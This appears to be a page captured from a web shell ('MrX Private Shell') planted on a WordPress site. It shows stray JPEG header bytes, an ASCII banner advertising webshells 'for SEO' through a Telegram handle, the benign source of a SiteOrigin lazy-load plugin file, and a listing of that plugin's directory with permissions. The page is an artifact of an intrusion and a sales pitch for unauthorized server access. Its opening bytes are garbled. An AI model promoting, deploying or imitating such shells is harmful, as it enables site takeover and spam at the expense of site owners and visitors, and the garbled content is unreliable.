����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Apply background and Lazy Load attributes/classes to rows, cells and widgets.
*
* @param $attributes
* @param $style
*
* @return array $attributes
*/
function siteorigin_apply_lazy_load_attributes( $attributes, $style ) {
if (
! empty( $style['background_display'] ) &&
! empty( $style['background_image_attachment'] ) &&
$style['background_display'] != 'parallax' &&
$style['background_display'] != 'parallax-original'
) {
$url = SiteOrigin_Panels_Styles::get_attachment_image_src( $style['background_image_attachment'], 'full' );
if ( ! empty( $url ) ) {
$attributes['class'][] = 'lazy';
$attributes['data-bg'] = $url[0];
// WP Rocket uses a different lazy load class.
if ( defined( 'ROCKET_LL_VERSION' ) || function_exists( 'get_rocket_option' ) ) {
$attributes['class'][] = 'rocket-lazyload';
}
// Other lazy loads can sometimes use an inline background image.
if ( apply_filters( 'siteorigin_lazy_load_inline_background', false ) ) {
$attributes['style'] = 'background-image: url(' . $url[0] . ')';
}
}
}
return $attributes;
}
add_filter( 'siteorigin_panels_row_style_attributes', 'siteorigin_apply_lazy_load_attributes', 10, 2 );
add_filter( 'siteorigin_panels_cell_style_attributes', 'siteorigin_apply_lazy_load_attributes', 10, 2 );
add_filter( 'siteorigin_panels_widget_style_attributes', 'siteorigin_apply_lazy_load_attributes', 10, 2 );
/**
* Prevent background image from being added using CSS.
*
* @param $css
* @param $style
*
* @return mixed
*/
function siteorigin_prevent_background_css( $css, $style ) {
if (
! empty( $css['background-image'] ) &&
$style['background_display'] != 'parallax' &&
$style['background_display'] != 'parallax-original'
) {
unset( $css['background-image'] );
}
return $css;
}
add_filter( 'siteorigin_panels_row_style_css', 'siteorigin_prevent_background_css', 10, 2 );
add_filter( 'siteorigin_panels_cell_style_css', 'siteorigin_prevent_background_css', 10, 2 );
add_filter( 'siteorigin_panels_widget_style_css', 'siteorigin_prevent_background_css', 10, 2 );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| js | Folder | 0755 |
|
|
| acf-widgets.php | File | 3.97 KB | 0644 |
|
| amp.php | File | 297 B | 0644 |
|
| error_log | File | 11.36 KB | 0644 |
|
| gravity-forms.php | File | 731 B | 0644 |
|
| jetpack.php | File | 1.35 KB | 0644 |
|
| layout-block.php | File | 4.82 KB | 0644 |
|
| lazy-load-backgrounds.php | File | 2.05 KB | 0644 |
|
| polylang.php | File | 308 B | 0644 |
|
| widget-options.php | File | 1.04 KB | 0644 |
|
| yoast.php | File | 2.56 KB | 0644 |
|